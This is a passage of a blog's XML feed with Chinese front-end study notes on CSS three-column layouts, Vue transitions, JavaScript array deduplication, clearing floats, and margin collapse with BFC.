&#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">padding</span>: <span class="number">0</span> <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">overflow</span>: hidden;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.col</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.main</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: yellow;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span>,</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">position</span>: relative;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: red;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin-left</span>: -<span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">left</span>: -<span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin-left</span>: -<span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">right</span>: -<span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;wrapper&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;col main&quot;</span>&gt;</span>main<span class="tag">&lt;/<span class="name">section</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">aside</span> <span class="attr">class</span>=<span class="string">&quot;col left&quot;</span>&gt;</span>left<span class="tag">&lt;/<span class="name">aside</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">aside</span> <span class="attr">class</span>=<span class="string">&quot;col right&quot;</span>&gt;</span>right<span class="tag">&lt;/<span class="name">aside</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">section</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/posts/zuo-zhong-you-san-lan-shi-bu-ju/%E5%9C%A3%E6%9D%AF%E5%B8%83%E5%B1%80.gif" alt="圣杯布局"></p><p><a href="https://blog.csdn.net/a18792627168/article/details/79686746?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-79686746-blog-80587167.235%5Ev28%5Epc_relevant_t0_download&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-79686746-blog-80587167.235%5Ev28%5Epc_relevant_t0_download&utm_relevant_index=3">详见：css三列布局–两边固定中间自适应和中间固定两边自适应_中间固定两边自适应布局_DOM曼珠沙华的博客-CSDN博客</a></p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Vue中transition之enter,leave等</title>
      <link href="/posts/vue-zhong-transition-zhi-enter-leave-deng/"/>
      <url>/posts/vue-zhong-transition-zhi-enter-leave-deng/</url>
      
        <content type="html"><![CDATA[<blockquote><h2 id="transition分为以下-六个阶段："><a href="#transition分为以下-六个阶段：" class="headerlink" title="transition分为以下 六个阶段："></a><strong>transition分为以下 六个阶段：</strong></h2><ul><li>enter, enter-active, enter-active-to,  </li><li>(开始 进入阶段的)第1帧 <strong>属性值</strong>，<em>到</em> (<strong>默认属性值</strong> 的<em>过渡阶段</em>)，移除enter动画，  </li><li>leave, leave-active, leave-active-to  </li><li>(开始 离开 阶段的)第1帧 <strong>默认属性值</strong>，<em>到</em> (<strong>属性值</strong> 的<em>过渡阶段</em>)，移除leave动画<br><img src="/posts/vue-zhong-transition-zhi-enter-leave-deng/vue-transition%E9%98%B6%E6%AE%B5.webp" alt="vue-transition阶段"></li></ul></blockquote><h2 id="2种使用："><a href="#2种使用：" class="headerlink" title="2种使用："></a>2种使用：</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;transition name=&quot;slide&quot;&gt;&lt;/transition&gt;</span><br></pre></td></tr></table></figure><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">/* 正常状态下detail组件默认为transformX(0) */</span></span><br><span class="line"><span class="selector-class">.slide-enter</span>,</span><br><span class="line"><span class="selector-class">.slide-leave-to</span> &#123;</span><br><span class="line">  <span class="attribute">transform</span> : <span class="built_in">translateX</span>(<span class="number">100%</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.slide-enter-active</span>,</span><br><span class="line"><span class="selector-class">.slide-leave-active</span> &#123; <span class="attribute">transition</span>: all .<span class="number">6s</span>;&#125;</span><br></pre></td></tr></table></figure><p>不考虑过渡速率，与下同，</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">@keyframes</span> slideMove&#123;</span><br><span class="line">    <span class="number">0%</span>&#123; <span class="attribute">transform</span> : <span class="built_in">translateX</span>(<span class="number">100%</span>); &#125;</span><br><span class="line">    <span class="number">100%</span>&#123; <span class="attribute">transform</span> : <span class="built_in">translateX</span>(<span class="number">0</span>); &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.slide-enter-active</span> &#123; <span class="attribute">animation</span>: .<span class="number">6s</span> slideMove;&#125;</span><br><span class="line"><span class="selector-class">.slide-leave-active</span> &#123; <span class="attribute">animation</span>: .<span class="number">6s</span> slideMove reverse;&#125; <span class="comment">/* 动画顺序翻转 */</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> vue </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数组去重的5种方法</title>
      <link href="/posts/shu-zu-qu-chong-de-5-chong-fang-fa/"/>
      <url>/posts/shu-zu-qu-chong-de-5-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<blockquote><p>var arr &#x3D; [1, 2, 2, 3, 4, 4, 5, 6, 7, 7, 4, 3, 5, 7, 11, 12, 11];<br>var newArr &#x3D; [];</p></blockquote><p>&#x2F;&#x2F;<strong>方法1最优 set对象</strong>【Set是没有重复值的数据集合，传入一个需要去重的数组，Set会自动删   &#x2F;&#x2F; newArr &#x3D; Array.from(new Set(arr));<br>&#x2F;&#x2F; console.log(newArr)<br><strong>&#x2F;&#x2F;方法2时间短，占空间。newArr.indexOf</strong>【遍历原数组的各项，每次判断新数组中是否存在该项，不存在就把当前项添加到新数组中。此法效率高，但占空间】<br>&#x2F;* arr.forEach(function (item, index) {<br>  if (newArr.indexOf(item) &#x3D;&#x3D;&#x3D; -1) {<br>     newArr.push(item)<br>  }<br>}); * <strong>&#x2F;</strong></p><p>&#x2F;* arr.forEach((item, index) &#x3D;&gt; {&#x2F;&#x2F; 方法2 箭头函数写法<br>  if (newArr.indexOf(item) &#x3D;&#x3D;&#x3D; -1) {<br>     newArr.push(item)<br>  }<br>}); *&#x2F;<br>const m &#x3D; new Map();</p><p>&#x2F;&#x2F;【下面的方法用时依次增多！！】<br>&#x2F;&#x2F; <strong>方法3.1  map()</strong> 【初始化一个可由 键值对 组成的集合m，形如二维数组。利用Map中 key的唯一性 同名覆盖。再遍历Map集合中的唯一key，并依次放入新数组newArr】</p><p>&#x2F;*  for (let i &#x3D; 0; i &lt; arr.length; i++) {<br>  &#x2F;&#x2F;  m.set(key, value);第一个值为key，注意与forEach((value, key, array)&#x3D;&gt;{ })参数顺序做区分。<br>  m.set(arr[i], true);&#x2F;&#x2F;依次把arr中每一项，设定为m中的唯一key<br>}<br>m.forEach(function (item, index) {<br>  newArr.push(index)&#x2F;&#x2F;注意：m集合中的key，此时是forEach中的index！之后把 唯一值 放入 新数组<br>});  *&#x2F;</p><p>&#x2F;&#x2F; <em><strong>方法3.2，map() 是3.1的进阶，也是利用Map中 key的唯一性</strong></em><br>&#x2F;&#x2F; 若m集合中不存在以当前arr项命名的key，就把当前项设置为m集合中的新key，同时把当前项放入新数组。<br>&#x2F;* for (let i &#x3D; 0; i &lt; arr.length; i++) {<br>  if (!m.has(arr[i])) {<br>    m.set(arr[i])<br>    newArr.push(arr[i])<br>  }<br>}; *&#x2F;</p><p>&#x2F;&#x2F;<strong>方法4 filter+arr.indexOf</strong>【遍历arr原数组中的每一项item和index，分别获取的每个item在arr中首项（唯一）的索引组成的集合 是arr原数组所有索引构成集合的一个 子集。返回在两种index一致时，即该索引子集 对应项 所组成的数组，拷贝给newArr】<br>&#x2F;* newArr &#x3D; arr.filter(function (item, index) {<br>  return arr.indexOf(item) &#x3D;&#x3D; index;<br>});*&#x2F;</p><p>&#x2F;&#x2F;<strong>方法5 reduce</strong>【以作为initialValue的[]开始聚合，每次循环聚合返回的结果集_newArr也是数组。遍历原数组arr，拿arr的item依次进行判断：若 最新的 结果集 中，不存在arr的当前item，即把该项添加到结果集数组中。返回新结果集，继续下一个item判断】<br>&#x2F;* newArr &#x3D; arr.reduce((_newArr, item) &#x3D;&gt; {<br>!_newArr.includes(item) &amp;&amp; _newArr.push(item);<br> &#x2F;&#x2F; if (!_newArr.includes(item)) {<br>    _newArr.push(item);<br> &#x2F;&#x2F; }<br>  return _newArr;<br>}, []); *&#x2F;<br>&#x2F;&#x2F; console.log(newArr);</p><hr><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//需求3， 得到各数字每次出现的次数</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;各出现次数结果&quot;</span>, arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">pre, cur</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="comment">//pre结果集（对象）中有以 当前项cur 作为key命名的。便把该key对应的value值pre[cur] 赋值给val。没有则初始化为0.</span></span><br><span class="line"><span class="keyword">let</span> val = pre[cur] || <span class="number">0</span>;</span><br><span class="line">pre[cur] = ++val;<span class="comment">//存在以 当前项cur 作为key命名的。便把该key对应的value值pre[cur]，+1</span></span><br><span class="line"><span class="keyword">return</span> pre;<span class="comment">//每次循环， pre对象 结果集 可能不变/增加键值对/原有键值对的value,即pre[cur]+1</span></span><br><span class="line">&#125;, &#123;&#125;)) */</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>清除浮动探讨</title>
      <link href="/posts/qing-chu-fu-dong-tan-tao/"/>
      <url>/posts/qing-chu-fu-dong-tan-tao/</url>
      
        <content type="html"><![CDATA[<p>转载地址：<br><a href="https://www.cnblogs.com/qin-tian/p/5910288.html">https://www.cnblogs.com/qin-tian/p/5910288.html</a><br><a href="https://my.oschina.net/leipeng/blog/221125"><br>https://my.oschina.net/leipeng/blog/221125</a><br><a href="https://www.cnblogs.com/leejersey/p/3991398.html"><br>https://www.cnblogs.com/leejersey/p/3991398.html</a></p><p>说起清除浮动，大家肯定会想起 clear: both ，的确，这是 CSS 中清除浮动的属性，clear 有 both&#x2F;left&#x2F;right&#x2F;none&#x2F;inherit 几个属性值，分别代表在元素左右两侧不允许出现浮动元素&#x2F;左侧不允许出现浮动元素&#x2F;右侧不允许出现浮动元素&#x2F;不清除浮动&#x2F;继承父元素的值。<br>注意：clear属性只是在block元素是起作用，如果你把clear:both用在一个inline-block或inline元素上，clear:both是不会起任何作用的。】</p><p><strong>浮动的兄弟元素 如何避免 对其兄弟元素造成影响？？？</strong><br>直接为 浮动元素的 兄弟元素 设置 clear: both ；</p><blockquote><p><img src="/posts/qing-chu-fu-dong-tan-tao/1.webp" alt="清除浮动对于兄弟元素的影响"><br>设置了 clear: both （当然在该例子中也可以为 clear:left）的元素不会跟浮动元素同行，也不会根据内容来自动调整宽度，而是会占据新的一整行。<br>之所以会这样，要从 clear的原理说起，clear 会为元素添加足够的空白空间，这跟增加元素外边距使到元素占据满行而强制换行的效果是一样的。<br>这只是清除了<strong>浮动 对于兄弟元素的影响</strong> ，而 <strong>父元素 高度塌陷</strong> 的问题还没有解决，因此，我们需要更高级的清除浮动的方法。</p></blockquote><p><strong>如何解决 浮动元素的 父元素 高度塌陷 问题？？？</strong><br>在标准文档流下，父元素高度可以被子元素撑开。<br>当父元素不设置浮动， 未给父元素设定 固定高度 时。当子元素设置了浮动，脱离了标准的文档流，那么父元素的高度会变成 0。<br>如果不清除浮动造成的影响，父元素高度不够，若设置border或者background属性都将得不到正确的解析。<br><em><strong>解决办法</strong></em></p><div class="tip cogs"><p>1、给浮动元素的  “父级” 指定 固定height<br>2、激活浮动元素 “上一级”的BFC。给浮动元素的 “上一级” 加overflow:auto; 或overflow:hidden;<br>3、使用：after伪元素，相当于给浮动元素，添加 “带有clear:both的兄弟元素”。【以上两种方式都存在局限性，此法为 最优解】</p></div><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.clearfix</span><span class="selector-pseudo">:after</span>&#123;</span><br><span class="line">   <span class="attribute">content</span>:<span class="string">&quot;&quot;</span>;</span><br><span class="line">   dispaly:block;</span><br><span class="line">   <span class="attribute">clear</span>:both;</span><br><span class="line">   <span class="attribute">height</span>:<span class="number">0</span>;<span class="comment">/* 此处使用line-height:0;也可 */</span></span><br><span class="line">   <span class="attribute">visibility</span>:hidden;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.clearfix</span>&#123;</span><br><span class="line">   <span class="attribute">zoom</span>:<span class="number">1</span>;<span class="comment">/* 兼容IE6 */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>或是：</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.clearfix</span><span class="selector-pseudo">:after</span>,<span class="selector-class">.clearfix</span><span class="selector-pseudo">:before</span>&#123;</span><br><span class="line">   <span class="attribute">content</span>:<span class="string">&quot;&quot;</span>;</span><br><span class="line">   <span class="attribute">display</span>:table;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.clearfix</span><span class="selector-pseudo">:after</span>&#123;</span><br><span class="line">   <span class="attribute">clear</span>:both;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><h2 id="总结：-清除浮动影响的方法-可分成2类："><a href="#总结：-清除浮动影响的方法-可分成2类：" class="headerlink" title="总结： 清除浮动影响的方法 可分成2类："></a>总结： 清除浮动影响的方法 可分成2类：</h2><p>1.利用 clear 属性，包括在浮动元素末尾添加一个带有 clear: both 属性的空 div 来闭合元素，其实利用 :after伪元素的方法也是在元素末尾添加一个内容为一个点并带有 clear: both 属性的元素实现的。<br>2.触发 <em>浮动元素</em> <strong>父元素</strong>的 BFC (Block Formatting Contexts, 块级格式化上下文)，使到该父元素可以包含浮动元素。</p></blockquote><p>一、抛一块问题砖（display： block）先看现象：<br><img src="/posts/qing-chu-fu-dong-tan-tao/2.webp" alt="pic1"></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;outer&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div1&quot;</span>&gt;</span>1<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div2&quot;</span>&gt;</span>2<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div3&quot;</span>&gt;</span>3<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">.outer&#123;border: 1px solid #ccc;background: #fc9;color: #fff; margin: 50px auto;padding: 50px;&#125;</span><br><span class="line">.div1&#123;width: 80px;height: 80px;background: red;float: left;&#125;</span><br><span class="line">.div2&#123;width: 80px;height: 80px;background: blue;float: left;&#125;</span><br><span class="line">.div3&#123;width: 80px;height: 80px;background: sienna;float: left;&#125;</span><br></pre></td></tr></table></figure><p>这里我没有给最外层的DIV.outer 设置高度，但是我们知道如果它里面的元素不浮动的话，那么这个外层的高是会自动被撑开的。但是当内层元素浮动后，就出现了以下影响：<br>（1）背景不能显示 （2）边框不能撑开 （3）margin 设置值不能正确显示</p><h2 id="清除css浮动："><a href="#清除css浮动：" class="headerlink" title="清除css浮动："></a>清除css浮动：</h2><blockquote><p>方法一：为浮动子元素添加 新的兄弟元素  、应用 clear：both；</p></blockquote><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;outer&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div1&quot;</span>&gt;</span>1<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div2&quot;</span>&gt;</span>2<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div3&quot;</span>&gt;</span>3<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;clear&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">.clear&#123;clear:both; height: 0; line-height: 0; font-size: 0&#125;</span><br><span class="line">result： （纠正： padding不会受影响）</span><br></pre></td></tr></table></figure><p><img src="/posts/qing-chu-fu-dong-tan-tao/3.webp" alt="pic2"></p><blockquote><p>方法二：父级div定义 overflow: auto（注意：是父级div也就是这里的  div.outer）</p></blockquote><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;outer over-flow&quot;</span>&gt;</span> //这里添加了一个class</span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div1&quot;</span>&gt;</span>1<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div2&quot;</span>&gt;</span>2<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;div3&quot;</span>&gt;</span>3<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt; --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">.over-flow&#123;</span><br><span class="line">    overflow: auto; zoom: 1; //zoom: 1; 是在处理兼容性问题</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>原理：使用overflow属性来清除浮动有一点需要注意，overflow属性共有三个属性值：hidden,auto,visible。我们可以使用hiddent和auto值来清除浮动，但切记不能使用visible值，如果使用这个值将无法达到清除浮动效果，其他两个值都可以，其区据说在于一个对seo比较友好，另个hidden对seo不是太友好，其他区别我就说不上了，也不浪费时间。</p><blockquote><p>方法三： 据说是最高大上的方法  :after 方法：（注意：作用于浮动元素的父亲）<br>先说原理：这种方法清除浮动是现在网上最拉风的一种清除浮动，他就是利用:after和:before来在元素内部插入两个元素块，从面达到清除浮动的效果。其实现原理类似于clear:both方法，只是区别在于:clear在html插入一个div.clear标签，而outer利用其伪类clear:after在元素内部增加一个类似于div.clear的效果。下面来看看其具体的使用方法：</p></blockquote><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.outer</span> &#123;<span class="attribute">zoom</span>:<span class="number">1</span>;&#125; <span class="comment">/* for IE6/7 Maxthon2*/</span></span><br><span class="line"><span class="selector-class">.outer</span><span class="selector-pseudo">:after</span> &#123;</span><br><span class="line"><span class="attribute">clear</span>:both;</span><br><span class="line"><span class="attribute">content</span>:<span class="string">&#x27;.&#x27;</span>;</span><br><span class="line"><span class="attribute">display</span>:block;</span><br><span class="line"><span class="attribute">width</span>: <span class="number">0</span>;</span><br><span class="line"><span class="attribute">height</span>: <span class="number">0</span>;</span><br><span class="line"><span class="attribute">visibility</span>:hidden;</span><br><span class="line">&#125;  <span class="comment">/* for FF/chrome/opera/IE8 */</span></span><br></pre></td></tr></table></figure><p>其中clear:both;指清除所有浮动；content: ‘.’; display:block;对于FF&#x2F;chrome&#x2F;opera&#x2F;IE8不能缺少，其中content可以取值也可以为空。visibility:hidden;的作用是允许浏览器渲染它，但是不显示出来，这样才能实现清楚浮动。</p><p>注意：下一标签直接清除浮动兄弟标签浮动时，在下一标签的属性中直接写入清除clear:both;这样就可以清除以上标签的浮动而不用加入空标签来清除浮动。</p><p>结语：清除浮动的方式虽然是有很多种，但是不是每种都适合你，也不是每种都能很好的兼容所有浏览器，所以参照你觉得最好的方式去做，个人觉得方法三不错，不需多于的标签，而且也能很好的兼容。再次again：当一个内层元素是浮动的时候，如果没有关闭浮动时，其父元素也就不会再包含这个浮动的内层元素，因为此时浮动元素已经脱离了文档流。也就是为什么外层不能被撑开了！</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>margin重叠与BFC探讨</title>
      <link href="/posts/margin-chong-die-yu-bfc-tan-tao/"/>
      <url>/posts/margin-chong-die-yu-bfc-tan-tao/</url>
      
        <content type="html"><![CDATA[<p><a href="https://www.cnblogs.com/renshengruge/p/6369762.html"  target="_self" >https://www.cnblogs.com/renshengruge/p/6369762.html</a><br><a href="https://www.cnblogs.com/leejersey/p/3991398.html"  target="_self" >https://www.cnblogs.com/leejersey/p/3991398.html</a>             </p><div id="cnblogs_post_body" class="blogpost-body"><h3><strong><code>CSS2.1</code>的盒模型中规定的内容——<code>Collapsing margins</code>：</strong></h3><p><span style="color: #0000ff">所有毗邻的两个或更多盒元素的 上下margin 将会合并为一个margin共享之。</span></p><p><span style="color: #0000ff">毗邻的定义为：同级或者嵌套的盒元素，并且它们之间没有非空内容、Padding或Border分隔。</span></p><p>&nbsp;</p><p>解决办法：【触发BFC】</p><p><span style="color: #000000">给<span style="color: #3366ff">父元素</span>加上&nbsp;<span style="color: #3366ff"><code>padding替代margin/1px透明border/1px的padding/overflow:hidden<span style="color: #888888">(IE要添加zoom:1)</span></code></span>，</span></p><p><span style="color: #000000">或者给<span style="color: #3366ff">父元素/子元素</span>设置为&nbsp;<span style="color: #3366ff"><code>float或position:absolute/fixed.或display设置为：inline-block、 inline-flex、 inline-grid、 或table-caption等【或设置父元素为flex、grid、table-cell也可，但子元素不行】</code></span></span></p><p><span style="color: #000000">(<code>CSS2.1</code>规定浮动元素和绝对定位元素不参与<code>margin</code>折叠)。</span></p><p>&nbsp;</p></div><p><strong>1.BFC 是什么？</strong><br>BFC (Block Formatting Contexts) 即块级格式化上下文，从样式上看，它与普通的容器没有什么区别，但是从功能上，BFC 可以看作是隔离了的独立容器，容器里面的元素不会在布局上影响到外面的元素，并且 BFC 具有普通容器没有的一些特性，例如可以包含浮动元素，上面的第二类方法（如 overflow 方法）就是触发了父元素的 BFC ，使到它可以包含浮动元素，从而防止出现高度塌陷的问题。</p><p><strong>2.如何触发 BFC</strong><br>触发 BFC 的条件如下：</p><blockquote><p>1.浮动，float 除 none 以外的值<br>2.绝对定位，position（absolute，fixed）<br>3.display为以下其中之一，inline-block、table-cell、table-caption、 inline-flex、 或 inline-grid等<br>4.overflow 除了 visible以外的值（hidden，auto，scroll） </p></blockquote><blockquote><p>在 CSS3 中，BFC 叫做 Flow Root，并增加了一些触发条件：<br>display 的 table-caption 值 position 的 fixed 值，其实 fixed 是 absolute 的一个子类，因此在 CSS2.1 中使用这个值也会触发 BFC ，只是在 CSS3 中更加明确了这一点。</p></blockquote><p><strong>3.BFC 主要有三个特性：</strong></p><p><em><strong>(1) BFC 会阻止外边距折叠</strong></em><br>两个相连的 div 在 <strong>垂直 方向上的</strong> 外边距会发生叠加，有些书籍会把这个情况列作 bug ，这里 Kayo 并不同意，这种折叠虽然会给不熟悉 CSS 布局的开发者带来一些不便，但实际上它具有完整且具体的折叠规则，并且在主流浏览器中都存在，因此 Kayo 更认为这应该是 CSS 的特性。当然，在实际开发中，或许我们有时会不需要这种折叠，这时可以利用 BFC 的其中一个特性——阻止外边距叠加。</p><p><strong>阻止 外边距 重叠</strong>的方式：</p><p>情况一、<strong>父、子元素之间</strong> 的外边距</p><blockquote><p>方式1、为 <strong>父元素</strong> 设置属性<br>1-1、设置属性（absolutu&#x2F;fixed、左右float、inline-…、<strong>overflow:hidden</strong>），以激活父元素的BFC。<br>1-2、父元素也可以设置 边框&#x2F;padding，如border:1px solid transparent。<br>方式2、为 <strong>子元素</strong> 设置属性，以激活 子元素的BFC<br>设置属性（absolutu&#x2F;fixed、左右float、inline-…）。</p></blockquote><p>情况二、<strong>2个兄弟元素之间</strong> 的外边距（激活 元素的BFC）</p><blockquote><p>方式1、为 <strong>元素本身</strong> 设置属性（absolutu&#x2F;fixed、左右float、inline-…。<strong>没有overflow！</strong>）。<br>【注意：】<br>1.overflow:hidden在兄弟元素之间 无效。<br>2.脱离文档流会对 后面兄弟元素的布局会产生影响！只能给第2个元素设置（absolutu&#x2F;fixed、左右float）。<br>方式2、 <strong>元素 外层加个包裹</strong> 为<strong>包裹</strong>设置 属性<strong>overflow:hidden</strong>，激活 包裹 的BFC，将其子元素的 外边距 包裹在里面。</p></blockquote><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span 